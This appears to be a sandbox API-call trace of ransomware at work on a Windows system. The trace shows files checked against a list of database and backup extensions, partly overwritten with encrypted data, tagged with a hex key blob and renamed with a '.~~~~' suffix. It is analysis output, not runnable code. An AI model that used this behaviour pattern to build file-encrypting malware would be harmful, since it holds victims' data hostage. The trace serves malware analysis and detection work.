	[0087.117] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0087.120] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.120] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.120] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.120] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.120] CloseHandle (hObject=0x12c) returned 1
	[0087.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6a00
	[0087.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.~~~~")) returned 1
	[0087.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0087.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0087.144] GetLastError () returned 0x0
	[0087.166] lstrlenW (lpString=".sqb") returned 4
	[0087.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".sqb") returned 0x0
	[0087.166] lstrlenW (lpString=".ost") returned 4
	[0087.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".ost") returned 0x0
	[0087.167] lstrlenW (lpString=".txt") returned 4
	[0087.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".txt") returned 0x0
	[0087.167] lstrlenW (lpString=".mdt") returned 4
	[0087.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".mdt") returned 0x0
	[0087.167] lstrlenW (lpString=".BDB") returned 4
	[0087.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".BDB") returned 0x0
	[0087.167] lstrlenW (lpString=".eql") returned 4
	[0087.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".eql") returned 0x0
	[0087.167] lstrlenW (lpString=".DBF") returned 4
	[0087.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DBF") returned 0x0
	[0087.167] lstrlenW (lpString=".EQL") returned 4
	[0087.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".EQL") returned 0x0
	[0087.173] lstrlenW (lpString=".FDB") returned 4
	[0087.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".FDB") returned 0x0
	[0087.173] lstrlenW (lpString=".EDB") returned 4
	[0087.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".EDB") returned 0x0
	[0087.178] lstrlenW (lpString=".DACPAC") returned 7
	[0087.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DACPAC") returned 0x0
	[0087.178] lstrlenW (lpString=".VHD") returned 4
	[0087.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".VHD") returned 0x0
	[0087.178] lstrlenW (lpString=".DBV") returned 4
	[0087.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DBV") returned 0x0
	[0087.179] lstrlenW (lpString=".dacpac") returned 7
	[0087.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".dacpac") returned 0x0
	[0087.179] lstrlenW (lpString=".sdf") returned 4
	[0087.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".sdf") returned 0x0
	[0087.179] lstrlenW (lpString=".accdb") returned 6
	[0087.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".accdb") returned 0x0
	[0087.179] lstrlenW (lpString=".DBX") returned 4
	[0087.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DBX") returned 0x0
	[0087.179] lstrlenW (lpString=".MDT") returned 4
	[0087.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".MDT") returned 0x0
	[0087.179] lstrlenW (lpString=".SQB") returned 4
	[0087.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".SQB") returned 0x0
	[0087.179] lstrlenW (lpString=".vhd") returned 4
	[0087.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".vhd") returned 0x0
	[0087.179] lstrlenW (lpString=".bac") returned 4
	[0087.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".bac") returned 0x0
	[0087.179] lstrlenW (lpString=".mdf") returned 4
	[0087.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".mdf") returned 0x0
	[0087.179] lstrlenW (lpString=".BAK") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".BAK") returned 0x0
	[0087.180] lstrlenW (lpString=".BAC") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".BAC") returned 0x0
	[0087.180] lstrlenW (lpString=".dbs") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".dbs") returned 0x0
	[0087.180] lstrlenW (lpString=".vhdx") returned 5
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".vhdx") returned 0x0
	[0087.180] lstrlenW (lpString=".NDF") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".NDF") returned 0x0
	[0087.180] lstrlenW (lpString=".dat") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".dat") returned 0x0
	[0087.180] lstrlenW (lpString=".DBS") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DBS") returned 0x0
	[0087.180] lstrlenW (lpString=".CKP") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".CKP") returned 0x0
	[0087.180] lstrlenW (lpString=".edb") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".edb") returned 0x0
	[0087.180] lstrlenW (lpString=".PST") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".PST") returned 0x0
	[0087.180] lstrlenW (lpString=".dbf") returned 4
	[0087.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".dbf") returned 0x0
	[0087.180] lstrlenW (lpString=".SQL") returned 4
	[0087.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".SQL") returned 0x0
	[0087.181] lstrlenW (lpString=".pst") returned 4
	[0087.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".pst") returned 0x0
	[0087.181] lstrlenW (lpString=".dbv") returned 4
	[0087.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".dbv") returned 0x0
	[0087.181] lstrlenW (lpString=".SDF") returned 4
	[0087.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".SDF") returned 0x0
	[0087.181] lstrlenW (lpString=".dtxs") returned 5
	[0087.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".dtxs") returned 0x0
	[0087.181] lstrlenW (lpString=".db3") returned 4
	[0087.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".db3") returned 0x0
	[0087.181] lstrlenW (lpString=".OST") returned 4
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".OST") returned 0x0
	[0087.182] lstrlenW (lpString=".dbx") returned 4
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".dbx") returned 0x0
	[0087.182] lstrlenW (lpString=".DB3") returned 4
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DB3") returned 0x0
	[0087.182] lstrlenW (lpString=".DAT") returned 4
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DAT") returned 0x0
	[0087.182] lstrlenW (lpString=".VHDX") returned 5
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".VHDX") returned 0x0
	[0087.182] lstrlenW (lpString=".ndf") returned 4
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".ndf") returned 0x0
	[0087.182] lstrlenW (lpString=".DB") returned 3
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DB") returned 0x0
	[0087.182] lstrlenW (lpString=".sql") returned 4
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".sql") returned 0x0
	[0087.182] lstrlenW (lpString=".MYD") returned 4
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".MYD") returned 0x0
	[0087.182] lstrlenW (lpString=".DBT") returned 4
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DBT") returned 0x0
	[0087.182] lstrlenW (lpString=".ACCDB") returned 6
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".ACCDB") returned 0x0
	[0087.182] lstrlenW (lpString=".fdb") returned 4
	[0087.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".fdb") returned 0x0
	[0087.183] lstrlenW (lpString=".bak") returned 4
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".bak") returned 0x0
	[0087.183] lstrlenW (lpString=".myd") returned 4
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".myd") returned 0x0
	[0087.183] lstrlenW (lpString=".DTXS") returned 5
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".DTXS") returned 0x0
	[0087.183] lstrlenW (lpString=".ckp") returned 4
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".ckp") returned 0x0
	[0087.183] lstrlenW (lpString=".dbt") returned 4
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".dbt") returned 0x0
	[0087.183] lstrlenW (lpString=".db") returned 3
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".db") returned 0x0
	[0087.183] lstrlenW (lpString=".TXT") returned 4
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".TXT") returned 0x0
	[0087.183] lstrlenW (lpString=".MDF") returned 4
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".MDF") returned 0x0
	[0087.183] lstrlenW (lpString=".bdb") returned 4
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".bdb") returned 0x0
	[0087.183] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0087.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0087.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0087.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0087.183] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0087.185] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.185] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.185] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20717496046) returned 1
	[0087.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9dc61af0, dwHighDateTime=0x1d60e1e)) 
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9c90
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9c90 | out: hHeap=0x300000) returned 1
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb228
	[0087.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c98
	[0087.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb228 | out: hHeap=0x300000) returned 1
	[0087.185] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0087.186] GetLastError () returned 0x0
	[0087.186] GetLastError () returned 0x0
	[0087.186] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0087.186] GetLastError () returned 0x0
	[0087.186] GetLastError () returned 0x0
	[0087.190] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.190] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0087.191] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.192] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.192] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.192] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.192] CloseHandle (hObject=0x128) returned 1
	[0087.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb228
	[0087.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.~~~~")) returned 1
	[0087.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb228 | out: hHeap=0x300000) returned 1
	[0087.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0087.246] GetLastError () returned 0x0
	[0087.246] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0087.247] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.247] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0087.248] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20723777676) returned 1
	[0087.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9dcfa070, dwHighDateTime=0x1d60e1e)) 
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9ad0
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ad0 | out: hHeap=0x300000) returned 1
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb960
	[0087.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c00
	[0087.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb960 | out: hHeap=0x300000) returned 1
	[0087.248] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0087.248] GetLastError () returned 0x0
	[0087.249] GetLastError () returned 0x0
	[0087.249] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0087.249] GetLastError () returned 0x0
	[0087.249] GetLastError () returned 0x0
	[0087.254] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.254] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0087.255] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.255] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.257] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.257] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.257] CloseHandle (hObject=0x128) returned 1
	[0087.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f63b8
